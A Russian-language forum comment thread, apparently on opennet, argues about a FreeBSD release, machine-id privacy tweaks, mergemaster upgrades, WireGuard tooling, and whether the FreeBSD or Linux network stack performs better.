| 3.74, Аноним (65), 16:32, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> видимо можно запретить. навскидку
Рандомизировать периодически. И пусть себе идентифицирует наздоровье. Или вообще LD_PRELOAD своей либы -> вернуть рандом на чтение этого файла. Пусть читает дальше.
| | |
| |
| 4.146, Аноним (65), 06:07, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> chroot поддерживать лениво, да и отдельный юзер - тоже неудобство.
В случае системды его достаточно стереть и при новом старте будет новый. Я вообще сделал юнит системды который при шатдауне стирает этот файл. Так что каждую перезагрузку новый ID :)
| | |
| |
| |
| 6.211, Аноним (65), 15:10, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> И часто перезагружаешься ?
От системы зависит. Сетевые штуки, гипервизор (хост) и прочие железки редко, только для апдейта ядра. Виртуалку с браузером? Она на горячую из кеша взлетает как ракета и там ничего кроме браузера нет, перезапустить ее не напряжно совсем: это накрывает лишь сессию браузинга. Одну из. Не сильно хуже простого закрытия бразера.
| | |
| |
| 7.216, Аноним (216), 16:02, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
А работает это через какое-то rdp или vnc или что-то там ещё? Или XForwarding?
| | |
|
|
| |
| 6.251, Аноним (-), 10:53, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> И теперь каждую загрузку запускается target первой загрузки новой системы
А это вообще наполовину фича. Псевдороллбэк системы. Можно всю фазу уникализации хоста прогнать, если хочется, ее как раз вот на это удобно навешивать. Станет еще приватнее но более ресурсоемко. И тогда на VM имеет смысл ролбэк уже снапшота VM или FS сделать, еще без вон того файла, и шатдауниться/рестартить в нулевый снапшот.
| | |
|
|
| 4.248, ivan_erohin (?), 09:58, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
безопастность никогда не была удобной (любая: физическая, бумажная, финансовая, информационная),
и никогда не будет. терпите.
| | |
|
|
|
| |
| |
| 3.342, Аноним (85), 01:37, 15/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
"Если вы перепробовали всё, что можно, но система так и не заработала — прочтите, наконец, документацию" (с)
| | |
|
|
| 1.22, Dorlas (ok), 12:24, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
 Проверил на свежеустановленной системе команду dump -a -L -f.
Ура - работает.
Сломали, помоему, во времена 9.x.
| | |
| 1.24, ryoken (ok), 12:27, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– |
 >powerpcspe
Полюбопытствую - есть может у кого опыт водружения сабжа на PS3? :) Хотя бы на уровне "поржать" :).
| | |
| 1.26, пох. (?), 12:43, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– | |
ну правильно, сперва opiepasswd сломали, теперь давайте вообще выкинем, то ли дело ключи ssh с паролем 123...ой, задолбало набирать, давайте вообще без пароля, все ж свои.
| | |
| 1.27, Аноним (32), 12:45, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– | |
>сборки для систем виртуализации (QCOW2, VHD, VMDK, raw)
Это и есть самые востребованные сборки FreeBSD.
| | |
| |
| 2.66, Проффесор (?), 15:31, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
 Верно. Потому что фря не сжирает ВСЕ ресурсы. Есть возможность еще что-то в соседней виртуалке запустить.
| | |
| 2.138, Ivan_83 (ok), 05:25, 12/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
Тут такое дело: нужно облегчеить вход новичкам и всяким девляпсам жизнь упростить.
Сами то адепты инсталлятор и дистрибутив годами не видят ибо не нужен он.
Я обычно делаю "инсталяцию" из любой рабочей системы: размечаю диски, форматирую, заливаю загрузчик потом бинарники с конфигами и поехало. Или даже rsync клонирую.
| | |
| |
| 3.151, Роман (??), 06:33, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
 Новичкам понятно, согласен. Девляпсам то зачем фряха на ваш взгляд?
| | |
| |
| |
| 5.190, Аноним (186), 12:24, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Интересно узнать что именно. Всё что мне приходит в голову - это билд-система для бзд-бинарников.
| | |
| |
| 6.230, Котофалк (?), 18:34, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Всё, что требует CARP например. Альтернативу пердолиться с keepalived не предлагать.
| | |
| |
| 7.400, Роман (??), 06:59, 17/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Всё, что требует CARP например. Альтернативу пердолиться с keepalived не предлагать.
Можете пару примеров пердолинга привести?
| | |
| |
| |
| 9.410, Роман (??), 02:44, 23/06/2023 [^] [^^] [^^^] [ответить] | +/– | в некотором роде есть такое преимущество, согласен Мешало ли это на практике С... текст свёрнут, показать | | |
|
|
|
|
| 5.336, Роман (??), 22:25, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Ыы все ещё про девляпсов? Вы где таких видели, я бы их спросил - зачем они так
| | |
|
| 4.374, пох. (?), 20:51, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
Ну мои вон притащили pfsence. Кажется, по их замыслу это должен был быть интуитивно-(им)-понятный dhcpd и еще возможно что-то. Но интуиция где-то их подвела, и теперь я им со своего линуха раздаю адреса. Нахрена - сам не знаю (во всех остальных сегментах адреса раздает винда и все совершенно счастливы).
А это корыто год назад потихому выключил - обанаружив что оно все еще пускает с изначальным паролем. Вроде никто не заметил.
| | |
|
|
|
| 1.31, EULA (?), 13:28, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– | |
John H. Baldwin (April 4, 1851 – June 19, 1924) was an American lawyer and politician.
Мертвые политики пишут Фряху!
| | |
| |
| |
| 3.140, EULA (?), 05:38, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> За этим в OpenBSD.
Зачем тогда FreeBSD, если есть OpenBSD.
| | |
| |
| |
| 5.239, EULA (?), 05:26, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Во фрибзд линуксатор есть. И даже работает неплохо.
Зачем он нужен? Зачем эмулировать (транслировать) чужую ОС ?
| | |
| |
| |
| 7.299, EULA (?), 12:05, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Чтоб ньюфагам перебегающим было привычнее.
Тогда уж Wine интегрировать в ядро, чтобы совсем ньюфаги были счастливы.
| | |
|
|
|
|
|
| 2.155, bOOster (ok), 06:54, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
И что ты хочешь в нем апгрейдить? Он вполне полноценен, функционален и самодостаточен.
| | |
| |
| 3.179, User (??), 09:32, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Ну, если не вспоминать что pf в openbsd и pf в freebsd - два разных pf (второй - лучше), то да. Тем, что ест можно пользоваться, оно работает.
| | |
|
|
| 1.42, Аноним (42), 14:49, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
rc.d обвес для WireGuard не подготовили, или я что-то упускаю?
Как его вызов в rc.conf прописать?
| | |
| |
| 2.49, Сергей (??), 15:03, 11/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
 Обвес почему-то не включили в base-system, нужно ставить net/wireguard-tools
| | |
| |
| 3.224, BorichL (ok), 18:05, 12/04/2023 [^] [^^] [^^^] [ответить]
| –2 +/– |
А во фряхе не принято всю херь мира в базовую систему тащить. Драйвер отладили - включили, дойдут руки до окружения - и его впилят, а может так портом останется,если там вечная бэта будет.
Вон например racoon так и сидит в портах.
| | |
| |
| 4.373, пох. (?), 20:47, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
да в ней последнее время вообще принято херь делать.
Драйвер в ядро включили, управление этим драйвером - какая-то хрень в портах с зависимостями от всего интернета, по другому нипалучилось.
racoon сидит в портах потому что он не управляет никаким драйвером - он все делает в userspace (и ты МОЖЕШЬ использовать ipsec без racoon - только сам вместо того енота полощи ключи и sa) и потому что шерето и латать его некому.
Вон опеношникам это надоело и они приделали свою альтернативу. Если б еще и работала.
| | |
|
|
|
| 1.54, Аноним (54), 15:09, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
 Обвес делается несколькими строчками в бсд ядре и комипяцией
Если есть проблема обращайтесь ilyasovef@mail.ru
| | |
| 1.59, Аноним (54), 15:24, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Мы же надеюсь не спорим что лучше пингвин или bsd я о том каждому свое.
Детям нужно показывать все ОС
| | |
| |
| 2.82, Аноним (82), 17:57, 11/04/2023 [^] [^^] [^^^] [ответить]
| –4 +/– |
Тут не о чем спорить, но у фряхе нечего предложить и ничего интересного. Что-то даже не помню, чтобы код из фряхи воровали. Dragonflybsd, netbsd, да. А фряха только сама паразитирует.
| | |
| |
| 3.115, Аноним (236), 21:14, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Что-то даже не помню, чтобы код из фряхи воровали. Dragonflybsd, netbsd, да. А фряха только сама паразитирует.
https://www.opennet.me/opennews/art.shtml?num=58424
> Релиз операционной системы DragonFly BSD 6.4
> 03.01.2023 21:17
> Из FreeBSD перенесена реализация функции gtaskqueue().
> В libkern из FreeBSD перенесён код функции timingsafe_bcmp().
Опеннет "аз из"
| | |
| |
| 4.116, Аноним (82), 21:21, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
То что они друг у друга воруют детали реализации как раз нормально. Я имел в виду когда для коммерческого продукта берут код.
| | |
| |
| 5.147, Аноним (65), 06:09, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Плейстейшн. Еще был жунипер но там грят новые модели на линуксе, вах какие ренегаты.
| | |
| |
| 6.156, bOOster (ok), 06:58, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Все там по старому в жунипер. Сделали 2 новых специализированных модели по заказу какого-то "придурка" и на этом с Linux ом все.
| | |
| |
| 7.316, Аноним (-), 14:39, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> заказу какого-то "придурка" и на этом с Linux ом все.
Печалька для вас в том что таких "придурков" сейчас - весь глобус и их заказы явно не оскудеют.
| | |
| |
| 8.372, пох. (?), 20:43, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | оскудеют - у скудоумных с деньжатами не очень А те кому нужны магистральные жун... текст свёрнут, показать | | |
|
|
|
|
|
| 3.165, bOOster (ok), 07:31, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Паразитирует? Хехе. Качество кода WireGuard именно разработчиками FreeBSD значительно улучшено. Вангую что на след./через релизе в Linux код Wireguard именно FreeBSD версии тянуть будут, заместо помоечного, что есть сейчас в Linux.
| | |
| |
| 4.212, Аноним (65), 15:17, 12/04/2023 [^] [^^] [^^^] [ответить] | +/– | Вот это врядли Лучшее что с кодом Донфилда можно сделать, особенно вокруг крипт... большой текст свёрнут, показать | | |
|
| 3.217, Аноним (216), 16:06, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Для "познакоиться с юниксами" кмк будет годнее, потому что, во-первых, намного меньше автомагии, прям намного. Во-вторых, меньше автомагии. Плюс дока всё таки покрывает бывазовые вещи. Можно что-то поставить, что-то накрутить.
| | |
| |
| 4.225, BorichL (ok), 18:10, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Ну естественно для знакомства с Юниксом лучше выбрать именно Юникс, чем юникс-подобный эрзац.
| | |
|
|
|
| 1.70, Аноним (54), 15:50, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Давайте не будем мереться .... а просто примем что как факт что кажлая рс хороша
| | |
| |
| 2.98, Ivan_83 (ok), 19:56, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Мне тоже интересно и как без него.
Впрочем он мне тоже не сильно нравился, пришлось его обкладывать костылями чтобы на автомате обновлять ОС без вопросов.
| | |
| |
| 3.102, Аноним (102), 20:10, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
>пришлось его обкладывать костылями
Что ж за костыли там понадобились, если mergemaster -Ui отрабатывает без лишних вопросов?
| | |
| |
| 4.136, Ivan_83 (ok), 05:18, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
yes i | mergemaster
yes | mergemaster
потому что на часть вопросов надо ответить i а на остальное y.
Совсем без этого нельзя, я уже всё перепровбовал для млих случаев.
И у меня далеко не пустой mergemaster.rc.
| | |
|
| |
| 4.178, Ivan_83 (ok), 09:27, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Пойду читать, летом уже 14 выйдет, так что лучше переползти на него заранее.
| | |
|
| 3.111, тут такое дело (?), 20:40, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Мне тоже интересно и как без него.
вот интересно, а src/Makefile не забудут обновить в соответствующих частях?
| | |
|
|
| 1.79, Аноним (397), 17:14, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –6 +/– | |
> позволяет использовать во FreeBSD Linux-утилиту ip из пакета iproute2
О, наконец-то нормальный софт начали завозить. Ещё бы систему инициализации поменять на что-то вменяемое вроде systemd, и заменить убогий IP-стжк на линуксовый, и получится вполне годная база для прошивок игровых консолей.
| | |
| |
| 2.157, bOOster (ok), 07:00, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Заменить высокопроизводительный и низко-латентный IP на мусор из Linux?? Да ты клоун однако :))
| | |
| |
| 3.194, Аноним (186), 12:36, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
А чего тебя так бомбит от линукса? Какие-либо пруфы вообще есть, или ты просто болен?
| | |
| |
| |
| 5.273, Аноним (-), 18:07, 13/04/2023 [^] [^^] [^^^] [ответить]
| –1 +/– | |
> в 3 !!! раза стек Linux сливает FreeBSD
А вон там, на сайте нжинкса, где про ktls, фря чего-то продула убунте. Что с ktls что без.
| | |
|
| 4.268, bOOster (ok), 15:40, 13/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
> А чего тебя так бомбит от линукса? Какие-либо пруфы вообще есть, или
> ты просто болен?
-"Yes, the TCP/IP stack of FreeBSD has far less latency than Linux. That’s why Netflix chooses to stream its movies and shows to you on FreeBSD and never Linux. It’s also why Netflix chooses to pay some of its best engineers to contribute to the current and future codebase of the FreeBSD kernel and not the Linux kernel. In general, many web applications feel “faster” on FreeBSD servers due to the better “response time” or latency."
| | |
| |
| 5.279, Аноним (263), 19:37, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Ха, вы с с этим единственным netflix-ом уже помешались. Прямо какая-то соломинка. Если бы оно хоть на долю было так (про лучшую производительность хоть где-то и в чем-то и хоть где большую надежность), фряху бы не только нетфликс юзал (чисто по интерции, да), а сильно больше где. Прежде всего в суперкомпы бы фряху непременно пихали, ибо там за производительность борются насмерть, выжимая по крохам всюду, откуда только можно хоть что-то выжать. Но нет, там везде линукс. Как и на всех спецжелезяках, созданных именно для производительности и надежности, вроде оракловых екзадат или межделмашевых майнфреймов. Там линуксы, там фри и близко не плавало. Случайно ли? Закономерно. И только кучка фантиков фряхи носится по интернетам с мифами древней калифорнии и нетфликсом наперевес.
| | |
| |
| 6.280, bOOster (ok), 21:30, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | gt оверквотинг удален Забавляют меня чайники - который суперкомпьютеры то не н... большой текст свёрнут, показать | | |
| |
| 7.283, Аноним (263), 22:46, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
Ты таки ответь на вопрос, почему самой производительной и надежной в мире фрибсд нет на суперкомпах? Какая-то бубунта в полный рост, а суперпроизводительной фряхи там нет вообще.
>понимают что игровой платформе нужен прогрессивный/быстрый/низколатентный TCP/IP стек
Хе, бро, ты похоже не в ладах с реальностью. Вот суперкомпам высокопроизводительный сетевой стек нужен, там юзается самое высокоростное сетевое железо, что только есть для в данный момент. И прогрессивный/быстрый/низколатентный TCP/IP стек там как раз к месту, поэтому там везде линукс. А вот игровым приставкам-то сеть нахрена? Обновления получать можно хоть по диалапу, и вот поэтому там фрибсд, хватит и этой убогости.
| | |
| |
| 8.291, Аноним (291), 06:15, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Когда у тебя в какой-нибудь сетевой игрухе пинг будет полминуты - сам догадаешьс... текст свёрнут, показать | | |
| |
| 9.293, Аноним (263), 09:53, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Теперь понятно, почему во всех гейм клубах стоит винда на игровых серверах, наве... текст свёрнут, показать | | |
|
|
|
| 6.370, _ (??), 19:22, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Ха, вы с с этим единственным netflix-ом уже помешались. Прямо какая-то соломинка.
Это соломинка не то что верблюда пополам переломит, она континент на дно сможет отправить :)
Погугли сколько процентов от мирового траффика - их траффик. Если между ушей не полный вакуум - есть шанс что поймёшь.
| | |
|
|
| 4.290, Аноним (85), 03:26, 14/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
Раздутое ядро.
Высокие системные требования.
Непрозрачная система запуска.
Разнобой в развитии множества бесполезных дистрибутивов.
Необходимость использовать костыли вроде SELinux для хоть какой-то безопасности.
| | |
|
| 3.195, Аноним (186), 12:37, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
На линух сильно батон не кроши. Сегодня это именно та система, что даёт твоей фряшэчке жизнь.
| | |
| |
| 4.213, Аноним (65), 15:19, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> На линух сильно батон не кроши. Сегодня это именно та система, что > даёт твоей фряшэчке жизнь.
...и смерть.
| | |
| |
| 5.294, Аноним (263), 09:58, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Расскажи это админам серьезных UNIX систем. Они посмеются.
Сообщение из начала нулевых. Сейчас такой msg выглядит смешным, на фоне тотальной и массовой замены этих "серьезных UNIX систем" линуксами везде.
| | |
| |
| 6.317, Аноним (85), 14:40, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
"Если я этого не видел, этого нет"
Поинтересуйся, в каких областях используется AIX и HP-UX и согласны ли тебе платить такую же зарплату с твоим Linux и более ничего весомого.
Если ты считаешь, что знаешь хорошо только одну-единственную систему, у меня для тебя плохие новости — ты не знаешь даже то немногое, потому что тебе не с чем сравнивать.
| | |
| |
| 7.322, Аноним (310), 15:37, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Поинтересуйся, в каких областях используется AIX и HP-UX
Прекрасно знаю в каких областях, там где что-то поставили в 90-ых, и слезть до сих пор не могут. Легаси по остаточному принципу. Что-то новое с привязкой к aix и hp-ux не создают уже лет десять.
>и согласны ли тебе платить такую же зарплату с твоим Linux и более ничего весомого.
С моим линуксом платят сильно больше, потому что тупо работы на порядки больше, чем с aix-ом и чпуксом. Не, мне лично очень интересно было бы позаниматься с этими системами и сейчас, но те редкие места заняты каким-нибудь дидами, которые доживает до пенсии, покрываясь пылью и паутинами вместе с аиксом и чпуксом.
| | |
| |
| |
| 9.368, _ (??), 19:14, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | Вот мужики то, в отличие от тебя - пацанчика, как раз - ЗНАЮТ Я последние AIX P... текст свёрнут, показать | | |
|
| |
| 9.361, Аноним (361), 16:50, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | Бро, я с них начинал, вернее, с соляриса, но и остальные до кучи потрогать довел... текст свёрнут, показать | | |
| |
| 10.369, _ (??), 19:18, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | а скоро станешь свидетелем улёта линуксов в облако А потом серверлесс ... текст свёрнут, показать | | |
|
|
|
|
|
| 5.306, Аноним (-), 12:52, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Расскажи это админам серьезных UNIX систем. Они посмеются.
Смеяться будут девопсы нанятые на их место. Кто-то видел девопса с сабжем вообще?
| | |
| |
| 6.318, Аноним (85), 14:43, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
И слава богу. Хоть что-то ещё работает нормально, без участия "суперспециалистов" после трехмесячных курсов.
| | |
| |
| 7.332, Аноним (-), 20:42, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> И слава богу. Хоть что-то ещё работает нормально, без участия "суперспециалистов" после
> трехмесячных курсов.
При том в основном - на локалхостах уже. Остальным такие услуги с такими параметрами уже не очень надо, когда есть вон те, с вон теми параметрами. А зачем кому-то долго, дорого, медленно и хреново, если можно быстро дешево и сердито?
| | |
|
|
|
|
| 3.241, пох. (?), 08:30, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Заменить высокопроизводительный и низко-латентный IP на мусор из Linux??
ну мы вот заменили в 2010м - и там где фря кашляла и чихала с хз каким по счету драйвером интеловой сетевухи (от интела, от яндекса, от интела с патчами каких-то васянов) и ведром вручную и хз каким угадавом подобранных tunables в loader.conf - линукс из коробки позволил выбросить из восьми фронтендов четыре при постоянно росшей нагрузке.
Расскажи мне еще сказок про высокопроизводительный.
| | |
| |
| 4.266, bOOster (ok), 15:35, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
>> Заменить высокопроизводительный и низко-латентный IP на мусор из Linux??
> ну мы вот заменили в 2010м - и там где фря кашляла
> и чихала с хз каким по счету драйвером интеловой сетевухи
> (от интела, от яндекса, от интела с патчами каких-то васянов) и
> ведром вручную и хз каким угадавом подобранных tunables в loader.conf -
> линукс из коробки позволил выбросить из восьми фронтендов четыре при постоянно
> росшей нагрузке.
> Расскажи мне еще сказок про высокопроизводительный.
Ты это NetFlix у расскажи. Может ты еще заявишь что твои нагрузки с NetFlix овыми сравнимы??
| | |
| |
| 5.270, пох. (?), 17:38, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Ты это NetFlix у расскажи.
так он то же самое сделал давным-давно. на фронтах у них линуксы. фря осталась только на статике.
> Может ты еще заявишь что твои нагрузки с NetFlix овыми сравнимы??
нагрузки у всех сравнимы - потому что серверное железо примерно однотипное и http у всех тоже тот же самый.
И отличаются только количеством этих самых фронтендов. Но вчетверо меньше серверов - будет везде вчетверо.
| | |
| |
| 6.274, Аноним (-), 18:13, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> так он то же самое сделал давным-давно. на фронтах у них линуксы.
> фря осталась только на статике.
Так вон там у нжинкса на странице по ktls бенчи. Убунта побеждает, лол. Что так что сяк. Вот ты из своих будешь серваки докупать, еще процентиков 15? Ну вот и нетфликс - тоже, видимо, пришел к выводу что ничего личного, это бизнес.
> нагрузки у всех сравнимы - потому что серверное железо примерно однотипное и
> http у всех тоже тот же самый.
Вон там нжинкс на одинаковом железе забенчил. Быстрее всего оказалсь убунта + ktls разумеется. И вообще, вон там уже даже майкрософт под GPL комитит. Могут же, если захотят :))
| | |
|
| 5.312, Аноним (310), 13:35, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Когда из одного из отделов netflix-а уйдет та пара старперов, которые зубами там держат фрибсд, заменят ее там на убунту в течении пары месяцев.
| | |
| |
| |
| 7.324, Аноним (310), 15:41, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
А ты заскринь этот твит. Везде откуда выкинули фряху тоже божились, что никогда. А придет грамотный технарь, подсчитает все на цифрах, да покажет менеджерам, а те потом всех бсдишников вместе с их высококопроизводительной фрей на мороз, или делают из них линуксоидов, из тех, кто поумнее.
| | |
| 7.377, _ (??), 21:47, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Влажные мечты трехмесячного девопса?
Да не - так и будет.
Даже если фря на две головы выше. Ну мир так сейчас устроен :-\
| | |
| |
| 8.382, Аноним (-), 22:44, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | Не, ну почему Если на две головы выше подразумевает серьезный измеримый профи... большой текст свёрнут, показать | | |
|
|
|
|
|
| 3.398, Аноним (397), 23:48, 16/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Высокопроизводительный, низколатентный и ничего, кроме отдавать байты с ip:port на ip:port не умеющий. Ну да, cat тоже производительнее emacs. Но есть нюансы.
| | |
|
|
| 1.80, Аноним (80), 17:43, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +2 +/– |
Нет, спасибо. Из всех bsd мне нравится только опёнок и стрекоза. Фряха отталкивает сатанинскими картинками, т.к. я христианин и считаю такие рисунки неприемлемыми. Плюс во фряху тянут вообще всё из линуха, и уже сейчас она от линуха ничем практически не отличается, утратилась самобытность. Устанавливаешь какой-то пакет, он половину линуха в зависимостях притащит.
| | |
| |
| 2.95, www2 (??), 19:42, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Почему-то OpenBSD очень популярна, но никак не могу понять чем же она лучше NetBSD? В NetBSD ядро более симметрично-многопроцессорное и nvmm многопоточный, и npf многопоточный, и поддержка ZFS есть и поддержка LVM. То есть она и быстрее должна работать и возможностей в ней больше...
| | |
| |
| 3.109, Аноним (80), 20:27, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Не знаю на счёт netbsd, но в openbsd лучшие man'ы из всех которые я видел. И кстати разработчики этим гордятся и призывают их читать.
| | |
| 3.167, Аноним (167), 07:59, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
NetBSD вообще не предназначена для повседневного использования, а только как обкатка технологий. OpenBSD помимо обкатки технологий еще и можно повседневно пользоваться.
| | |
| |
| 4.175, An (??), 08:23, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
А можно более развернуто, почему NetBSD не для повседневного использования?
| | |
| |
| 5.227, BorichL (ok), 18:14, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Это потому что он не умеет и не хочет. Кто хочет и может - используют, кто не хочет и не может, рассказывает про импотенцию.
| | |
|
|
|
| 2.110, Аноний (?), 20:28, 11/04/2023 [^] [^^] [^^^] [ответить]
| +3 +/– |
Дык ради вас, христиан, демонёнка понерфили до безликого круга с выпуклостями.
Приходится добавлять
loader_logo="beastie"
в loader.conf, шоб вертать истинный образ
| | |
| 2.122, Аноним (236), 22:29, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Устанавливаешь какой-то пакет, он половину линуха в зависимостях притащит.
При следующем набросе воздержись от конкретики - не пались так явно.
| | |
| 2.346, Sem (??), 04:35, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Фряха отталкивает сатанинскими картинками, т.к. я христианин и считаю такие рисунки неприемлемыми
Это вам только в православную Винду с иконками и службами.
| | |
|
| 1.81, Аноним (82), 17:54, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Кому сегодня может понадобиться ОС в которой даже CUDA, как я слышал, не поддерживается? Электрона тоже не было, только кривой протухший порт, а это значит, автоматически нет 90% современного софта.
| | |
| |
| 2.91, Аноним (32), 19:34, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
У меня нет 100% софта, поскольку нет Electron 8-) Ужос, ужос!
| | |
| |
| 3.96, Аноним (82), 19:45, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> У меня нет 100% софта, поскольку нет Electron 8-) Ужос, ужос!
Современного нет. У тебя нет выбора, ты будешь использовать то, что тебе скормят корпы. Корпы говорят "теперь наш софт будет на электроне", и ты используешь электрон отныне.
| | |
| |
| 4.149, Аноним (65), 06:15, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Странно, у меня тоже софта на электроне нет. И что значит нет выбора? Придет злобный корп и расстреляет за отсутствие софта на электроне? Нет? Ну тогда могут идти нафиг с своим "современным софтом" и использовать свою спайварь, адварь, малварь и блоатварь сами.
| | |
| |
| 5.193, Аноним (82), 12:34, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Странно, у меня тоже софта на электроне нет. И что значит нет
> выбора? Придет злобный корп и расстреляет за отсутствие софта на электроне?
> Нет? Ну тогда могут идти нафиг с своим "современным софтом" и
> использовать свою спайварь, адварь, малварь и блоатварь сами.
Наверное, тебе не надо на компе работать, тогда можешь и отказаться от качественного и удобного ПО. В противном случае тебя всегда обойдут те, кто будет пользоваться хорошим ПО. Можно жить как пророк Столлман, конечно.
| | |
| |
| 6.215, Аноним (65), 15:25, 12/04/2023 [^] [^^] [^^^] [ответить] | –1 +/– | Это какой бы вот софт для именно работы на электроне, интересно Тормознутая бло... большой текст свёрнут, показать | | |
| 6.243, пох. (?), 08:54, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Наверное, тебе не надо на компе работать
ну он там живет похоже в своей крошечной нишке с полутора заказчиками и на свет из нее не показывается. Уминявсеработайка, лапочка.
(боюсь только представить как у него выглядит документация)
Правда, про качественное и удобное это ты сп-дел. Электрон для того и придуман чтоб забить болт на качество и удобство в сторону тяпляперства. Достаточно сравнить морду доэлектронного скайпа с тем убожеством которое сейчас.
Но общаться с клиентами и коллегами ты будешь по скайпу и всосапу, а не просить их напесать тебе в irc'шечку на модном в 90м году tkirc.
| | |
| |
| 7.244, Аноним (82), 09:16, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Есть IRC, а есть Discord, решают они примерно одинаковые задачи. Только и дискорда ещё качественные воип чаты, боты, и интеграция с игрушечками бонусом. А насчёт скайпа ты чёт промахнулся, Slack же (или Teams для содомитов, который тоже электрон). Да и на морду плевать, главное ведь функциональность. VSCode сегодня практически безальтернативен, можно пострадать с вимом и накрутить примерно похоже, но это будет костыльненько уже. Старое ПО действительно довольно убогое по возможностям и по виду, тут электрон норм. V8 жрёт память конечно, но тут уж что сделаешь.
| | |
| |
| 8.253, Аноним (-), 11:27, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | И есть конкретно либера, где отвисает более 50К опенсорсных кодеров Можно прока... большой текст свёрнут, показать | | |
| |
| |
